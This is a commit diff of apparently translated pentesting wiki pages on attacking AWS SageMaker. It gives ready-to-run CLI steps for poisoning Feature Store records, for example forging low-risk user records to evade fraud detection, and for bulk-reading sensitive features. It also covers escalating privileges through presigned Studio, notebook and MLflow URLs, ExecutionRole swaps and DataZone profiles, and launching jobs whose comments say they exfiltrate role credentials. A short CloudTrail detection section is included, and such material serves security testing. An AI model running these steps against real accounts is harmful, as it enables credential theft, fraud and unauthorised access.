Translated ['src/pentesting-cloud/aws-security/aws-services/aws-sagemake

This commit is contained in:
Translator
2025-10-17 15:55:32 +00:00
parent e24c125674
commit 3fa178477a
4 changed files with 418 additions and 213 deletions

View File

@@ -1,50 +1,160 @@
# SageMaker Feature Store online store poisoning
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference verbruik word te oorskryf. Gecombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference verbruik word oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees en vertroulike ML-data eksfiltreer. Dit vereis nie toegang tot models of endpoints nie, wat dit 'n direkte data-laag-aanval maak.
## Vereistes
- Permissies: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Teiken: Feature Group met OnlineStore geaktiveer (gewoonlik vir real-time inference)
- Toestemmings: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Teiken: Feature Group met OnlineStore geaktiveer (tipies wat real-time inference ondersteun)
- Kompleksiteit: **LOW** - Eenvoudige AWS CLI-opdragte, geen modelmanipulasie benodig nie
## Stappe
1) Kies of skep 'n klein Online Feature Group vir toetsing
### Verkenning
1) Lys Feature Groups met OnlineStore geaktiveer
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Beskryf 'n geteikende Feature Group om sy skema te verstaan
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Let op die `RecordIdentifierFeatureName`, `EventTimeFeatureName`, en al die feature-definisies. Dit is nodig om geldige rekords op te stel.
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
1) Lees die huidige legitieme rekord
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Vergiftig die record met kwaadwillige waardes deur die inline `--record` parameter te gebruik
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
```
3) Verifieer die vergiftigde data
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impak**: ML-modelle wat hierdie kenmerk gebruik, sal nou `risk_score=0.99` vir 'n geldige gebruiker sien, wat moontlik hul transaksies of dienste kan blokkeer.
### Aanvalsscenario 2: Malicious Data Injection (Create Fraudulent Records)
Inspuit heeltemal nuwe rekords met gemanipuleerde kenmerke om sekuriteitskontroles te omseil:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
```
Verifieer die injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Invloed**: Aanvaller skep 'n vals identiteit met 'n lae risikotelling (0.01) wat hoëwaarde-bedrieglike transaksies kan uitvoer sonder om fraudedeteksie te aktiveer.
### Aanvalsscenario 3: Sensitiewe Data Exfiltration
Lees meerdere rekords om vertroulike kenmerke te onttrek en die model se gedrag te profileer:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impak**: Vertroulike kenmerke (risikoscores, transaksiepatrone, persoonlike data) blootgestel aan attacker.
### Toets/Demo Feature Group Skepping (Opsioneel)
As jy 'n toets Feature Group moet skep:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=ht-fg-$ACC-$(date +%s)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
```
2) Voeg in/oorskryf 'n aanlyn rekord (poison)
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
cat > /tmp/put.json << JSON
{
"FeatureGroupName": "$FG",
"Record": [
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
],
"TargetStores": ["OnlineStore"]
}
JSON
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
```
3) Lees die rekord terug om die manipulasie te bevestig
```bash
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
```
Verwag: risk_score gee 0.99 (deur die aanvaller ingestel), wat die vermoë bewys om aanlyn-kenmerke wat deur modelle verbruik word, te verander.
## Impact
- Real-time integriteitsaanval: manipuleer kenmerke wat deur produksie-modelle gebruik word sonder om endpunte/modelle aan te raak.
- Konfidentialiteitsrisiko: lees sensitiewe kenmerke via GetRecord vanaf OnlineStore.
echo "Feature Group ready: $FG"
```
## Opsporing
Hou CloudTrail dop vir verdagte patrone:
- `PutRecord` events van ongebruiklike IAM principals of IP-adresse
- Hoë frekwensie `PutRecord` of `GetRecord` oproepe
- `PutRecord` met abnormale feature-waardes (bv. risk_score buite normale reeks)
- Grootmaat `GetRecord` bewerkings wat massale eksfiltrasie aandui
- Toegang buite normale werksure of vanaf onverwagte plekke
Implementeer anomalie-detektering:
- Validatie van feature-waardes (bv. risk_score moet 0.0-1.0 wees)
- Analise van write-patrone (frekwensie, tydsberekening, bronidentiteit)
- Data-drift-detektering (skielike veranderinge in feature-verspreidings)
## Verwysings
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -6,34 +6,117 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
Begin om 'n notebook te skep met die IAM Role wat daaraan gekoppel is:
Begin om 'n notebook te skep en heg die IAM Role wat toegang daartoe het aan.
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
Die respons moet 'n `NotebookInstanceArn`-veld bevat, wat die ARN van die pas geskepte notebook instance sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notebook instance te kry sodra dit gereed is:
Die respons behoort 'n `NotebookInstanceArn`-veld te bevat, wat die ARN van die nuut geskepte notebook-instansie sal bevat. Ons kan dan die `create-presigned-notebook-instance-url` API gebruik om 'n URL te genereer wat ons kan gebruik om toegang tot die notebook-instansie te kry sodra dit gereed is:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Navigeer na die URL met die blaaier en klik op `Open JupyterLab`` in die boonste regterhoek, rol dan af na die “Launcher” tab en onder die “Other” afdeling klik op die “Terminal” knoppie.
Navigeer na die URL met die blaaier en klik op `Open JupyterLab`` regs bo, rol dan af na die “Launcher”-tab en onder die “Other”-afdeling klik op die “Terminal”-knoppie.
Nou is dit moontlik om toegang te kry tot die metadata credentials van die IAM Role.
Nou is dit moontlik om by die metadata-credentials van die IAM Role te kom.
**Potensiële impak:** Privesc na die gespesifiseerde sagemaker service role.
**Potential Impact:** Privesc na die gespesifiseerde sagemaker service role.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
As daar Jupyter **notebooks reeds daarop loop** en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander wyse ontdek). Jy kan **'n URL daarvoor genereer, toegang daartoe verkry, en die credentials steel soos aangedui in die vorige tegniek**.
As daar Jupyter **notebooks reeds op dit aan die gang is** en jy kan hulle lys met `sagemaker:ListNotebookInstances` (of hulle op enige ander wyse ontdek), kan jy **'n URL daarvoor genereer, toegang daartoe kry, en die inlogbewyse steel soos aangedui in die vorige tegniek**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Potensiële impak:** Privesc na die sagemaker-diensrol wat daaraan gekoppel is.
**Potensiële impak:** Privesc na die sagemaker service role wat daaraan gekoppel is.
## `sagemaker:CreatePresignedDomainUrl`
> [!WARNING]
> Hierdie aanval werk slegs op ou tradisionele SageMaker Studio-domeine, nie op dié geskep deur SageMaker Unified Studio nie. Domeine van Unified Studio sal die fout teruggee: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
'n Identiteit met toestemming om `sagemaker:CreatePresignedDomainUrl` op 'n teiken Studio `UserProfile` aan te roep, kan 'n aanmeld-URL skep wat direk in SageMaker Studio as daardie profiel verifieer. Dit gee die aanvaller se blaaier 'n Studio-sessie wat die profiel se `ExecutionRole`-magte erf en volle toegang tot die profiel se EFS-ondersteunde tuismap en apps. Geen `iam:PassRole` of console-toegang word vereis nie.
**Vereistes**:
- 'n SageMaker Studio `Domain` en 'n teiken `UserProfile` daarin.
- Die aanvaller-prinsipaal benodig `sagemaker:CreatePresignedDomainUrl` op die teiken `UserProfile` (resourcelevel) of `*`.
Minimale policy voorbeeld (beperk tot een UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**Misbruikstappe**:
1) Enumerate a Studio Domain and UserProfiles you can target
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Kontroleer of unified studio nie gebruik word nie (attack werk slegs op tradisionele SageMaker Studio-domeine)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) Genereer 'n presigned URL (geldig vir ~5 minute volgens verstek)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) Open die teruggegewe URL in 'n blaaier om by Studio aan te meld as die teiken-gebruiker. In 'n Jupyter-terminal binne Studio verifieer die effektiewe identiteit of exfiltrate die token:
```bash
aws sts get-caller-identity
```
Aantekeninge:
- `--landing-uri` kan weggelaat word. Sommige waardes (bv. `app:JupyterLab:/lab`) kan geweier word afhangende van die Studiovariant/weergawe; standaard herlei gewoonlik na die Studio tuisblad en dan na Jupyter.
- Org-beleid/VPC-endpoint-beperkings kan steeds netwerktoegang blokkeer; die token-minting vereis nie console-aanmelding of `iam:PassRole` nie.
**Potensiële impak**: Laterale beweging en privilegie-opskaling deur enige Studio `UserProfile` aan te neem wie se ARN toegelaat word, en daarmee die `ExecutionRole` en lêerstelsel/apps te erf.
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
'n Identiteit met toestemming om `sagemaker:CreatePresignedMlflowTrackingServerUrl` aan te roep (en `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` vir later toegang) vir 'n geteikende SageMaker MLflow Tracking Server kan 'n eenmalige voorondertekende URL skep wat direk verifieer by die bestuurde MLflow UI vir daardie server. Dit gee dieselfde toegang as wat 'n geldige gebruiker tot die server sou hê (eksperimente en runs besigtig/skep, en artefakte in die server se S3 artifact store aflaai/oplaai).
**Vereistes:**
- 'n SageMaker MLflow Tracking Server in die rekening/streek en die naam daarvan.
- Die aanvaller-principal benodig `sagemaker:CreatePresignedMlflowTrackingServerUrl` op die geteikende MLflow Tracking Server-resource (of `*`).
**Misbruikstappe**:
1) Enumerate MLflow Tracking Servers wat jy kan teiken en kies een naam
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Genereer 'n vooraf-ondertekende MLflow UI URL (slegs vir 'n kort tydperk geldig)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) Open die teruggegewe URL in 'n blaaier om toegang tot die MLflow UI te kry as 'n geauthentiseerde gebruiker vir daardie Tracking Server.
**Potensiële impak:** Direkte toegang tot die bestuurde MLflow UI vir die geteikende Tracking Server, wat dit moontlik maak om eksperimente/uitvoerings te besigtig en te wysig en artefakte wat in die bediener se gekonfigureerde S3 artifact store gestoor is, af te laai of op te laai, binne die toestemmings wat deur die bediener-konfigurasie gehandhaaf word.
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
'n Aanvaller met daardie toestemmings kan laat **SageMaker 'n processing job uitvoer** met 'n SageMaker-rol daaraan gekoppel. Deur een van die AWS Deep Learning Containers te hergebruik wat reeds Python bevat (en deur die job in dieselfde streek as die URI te laat loop), kan jy inline-kode uitvoer sonder om jou eie beelde te bou:
'n Aanvaller met daardie toestemmings kan **SageMaker 'n processing job laat uitvoer** met 'n SageMaker-rol daaraan gekoppel. Deur een van die AWS Deep Learning Containers te hergebruik wat reeds Python insluit (en deur die job in dieselfde streek as die URI uit te voer), kan jy inline-kode laat loop sonder om eie container images te bou:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```
**Potensiële impak:** Privesc na die gespesifiseerde sagemaker-diensrol.
**Potensiële impak:** Privesc na die gespesifiseerde sagemaker diensrol.
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
'n Aanvaller met daardie toestemmings kan 'n training job begin wat arbitrêre kode uitvoer met die aangeduide rol. Deur 'n amptelike SageMaker-container te gebruik en die entrypoint met 'n inline payload te oorskryf, hoef jy nie jou eie images te bou nie:
'n aanvaller met daardie toestemmings kan 'n training job begin wat arbitrêre kode uitvoer met die aangeduide rol. Deur 'n amptelike SageMaker-container te gebruik en die entrypoint te oorskryf met 'n payload inline, hoef jy nie jou eie images te bou nie:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**Potensiële impak:** Privesc na die gespesifiseerde SageMaker diensrol.
**Potensiële impak:** Privesc na die gespesifiseerde SageMaker-diensrol.
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
'n aanvaller met daardie permissies kan 'n HyperParameter Tuning Job begin wat aanvallerbeheerde kode uitvoer onder die verskafde rol. Script mode vereis dat die payload in S3 gehuisves word, maar alle stappe kan vanaf die CLI geoutomatiseer word:
An attacker met daardie toestemmings kan 'n HyperParameter Tuning Job begin wat attacker-controlled code onder die verskafde rol uitvoer. Script mode vereis dat die payload in S3 gehuisves word, maar alle stappe kan vanaf die CLI geoutomatiseer word:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
Elke training wat deur die proses geloods word, druk die metriek uit en exfiltreer die inlogbewyse van die aangeduide rol.
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
Prioridad de ExecutionRole:
Met die toestemming om 'n SageMaker Studio User Profile by te werk, 'n app te skep, 'n presigned URL na die app en `iam:PassRole`, kan 'n aanvaller die `ExecutionRole` instel op enige IAM-rol wat die SageMaker diens-prinsipaal kan aanvaar. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die ingewisselde rol uitgevoer word, wat interaktiewe verhoogde regte gee via Jupyter-terminale of take wat vanaf Studio gelanseer word.
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
Met toestemming om 'n SageMaker Studio User Profile (of Space/Domain) op te dateer, kan 'n aanvaller die `ExecutionRole` op enige IAM-rol stel wat die SageMaker service principal kan assume. In teenstelling met job-creation APIs vereis die Studio profile update APIs nie `iam:PassRole` nie. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die gewisselde rol loop, wat interaktiewe verhoogde bevoegdhede gee via Jupyter-terminals of take wat vanaf Studio gelanseer word.
> [!WARNING]
> Hierdie aanval vereis dat daar geen toepassings in die profiel is nie, anders sal die skepping van die app misluk met 'n fout soortgelyk aan: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> As daar enige app is, sal jy eers `sagemaker:DeleteApp` toestemming nodig hê om hulle te verwyder.
Stappe:
```bash
# 1) List Studio user profiles and pick a target
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 2) Update the Studio profile to use the new role (no iam:PassRole)
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
@@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
aws sagemaker update-space \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--space-settings ExecutionRole=$ROLE_ARN
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
aws sagemaker describe-space \
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--query 'SpaceSettings.ExecutionRole' --output text
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Optionally, change the domain default so every profile inherits the new role
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**Potensiële impak**: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessies.
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
Met permissies om 'n SageMaker Studio Domain by te werk, 'n app te skep, 'n presigned URL na die app te maak, en `iam:PassRole`, kan 'n aanvaller die standaard domein `ExecutionRole` instel na enige IAM-rol wat die SageMaker service principal kan assume. Nuwe Studio-apps wat vir daardie profiel gelanseer word, sal met die verwisselde rol loop en interaktiewe verhoogde permissies gee via Jupyter-terminale of take wat vanaf Studio gelanseer word.
> [!WARNING]
> Hierdie aanval vereis dat daar geen toepassings in die domein is nie, anders sal die app-skepping misluk met die fout: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
Stappe:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
@@ -235,22 +360,86 @@ aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
aws sagemaker create-app \
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-atk
--app-name <APP_NAME>
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
# aws sts get-caller-identity # should reflect the new ExecutionRole
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
```
**Potensiële impak**: Privilege escalation na die toestemmings van die gespesifiseerde SageMaker-uitvoeringsrol vir interaktiewe Studio-sessies.
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**Potential Impact**: Eskalering van voorregte na die toestemmings van die gespesifiseerde SageMaker execution role vir interaktiewe Studio-sessies.
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
'n Aanvaller met toestemming om 'n SageMaker Studio app vir 'n teiken UserProfile te skep, kan 'n JupyterServer app begin wat loop met die profiel se `ExecutionRole`. Dit verskaf interaktiewe toegang tot die rol se toestemmings via Jupyter-terminals of take wat vanaf Studio geloods word.
Stappe:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
```
**Potensiële Impak**: Interaktiewe toegang tot die SageMaker execution role wat aan die teiken UserProfile gekoppel is.
### `iam:GetUser`, `datazone:CreateUserProfile`
An attacker met daardie permissies kan 'n IAM user toegang gee tot 'n Sagemaker Unified Studio Domain deur 'n DataZone User Profile vir daardie IAM user te skep.
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
Die Unified Domain-URL het die volgende formaat: `https://<domain-id>.sagemaker.<region>.on.aws/` (bv. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
**Potensiële impak:** Toegang tot die Sagemaker Unified Studio-domein as gebruiker wat toegang het tot al die hulpbronne binne die Sagemaker-domein en selfs bevoegdhede kan eskaleer na die rol wat die notebooks binne die Sagemaker Unified Studio-domein gebruik.
## Verwysings

View File

@@ -2,31 +2,31 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Service Overview
## Diens Oorsig
Amazon SageMaker is AWS' bestuurde masjienleer-platform wat notebooks, opleidingsinfrastruktuur, orkestrasie, registrasies, en bestuurde endpoints saamvoeg. 'n Kompromie van SageMaker-bronne verskaf tipies:
Amazon SageMaker is AWS' beheerde masjienleer-platform wat notaboeke, training infrastructure, orkestrasie, registries, en beheerde endpoints aanmekaar heg. 'n Kompromie van SageMaker-resources bied tipies:
- Langlewende IAM execution roles met wye toegang tot S3, ECR, Secrets Manager, of KMS.
- Toegang tot sensitiewe datastelle gesto­reer in S3, EFS, of binne feature stores.
- Netwerk-footholds binne VPCs (Studio apps, training jobs, endpoints).
- High-privilege presigned URLs wat console-authentisering omseil.
- Langdurige IAM-uitvoeringsrolle met wye toegang tot S3, ECR, Secrets Manager, of KMS.
- Toegang tot gevoelige datastelle gestoor in S3, EFS, of binne feature stores.
- Netwerkvoetings binne VPCs (Studio apps, training jobs, endpoints).
- H-privilegie presigned URLs wat konsole-authentisering omseil.
Om te verstaan hoe SageMaker saamgestel is, is sleutel voordat jy pivot, persist, of exfiltrate data.
Om te verstaan hoe SageMaker saamgestel is, is noodsaaklik voordat jy pivot, persist, of exfiltrate data.
## Core Building Blocks
## Kernboublokke
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Elke domain het 'n gedeelde EFS-lêerstelsel en 'n standaard execution role.
- **Notebook Instances**: Bestuurde EC2-instansies vir standalone notebooks; gebruik afsonderlike execution roles.
- **Training / Processing / Transform Jobs**: Verganklike kontainers wat kode uit ECR trek en data uit S3.
- **Pipelines & Experiments**: Georkestreerde workflows wat alle stappe, insette en uitsette beskryf.
- **Models & Endpoints**: Verpakte artefakte wat uitgerol word vir inference via HTTPS endpoints.
- **Feature Store & Data Wrangler**: Bestuurde dienste vir data-voorbereiding en kenmerkbestuur.
- **Autopilot & JumpStart**: Outomatiese ML en 'n gekurideerde modelkatalogus.
- **MLflow Tracking Servers**: Bestuurde MLflow UI/API met presigned access tokens.
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Elke domain het 'n gedeelde EFS-lêerstelsel en 'n standaard uitvoeringsrol.
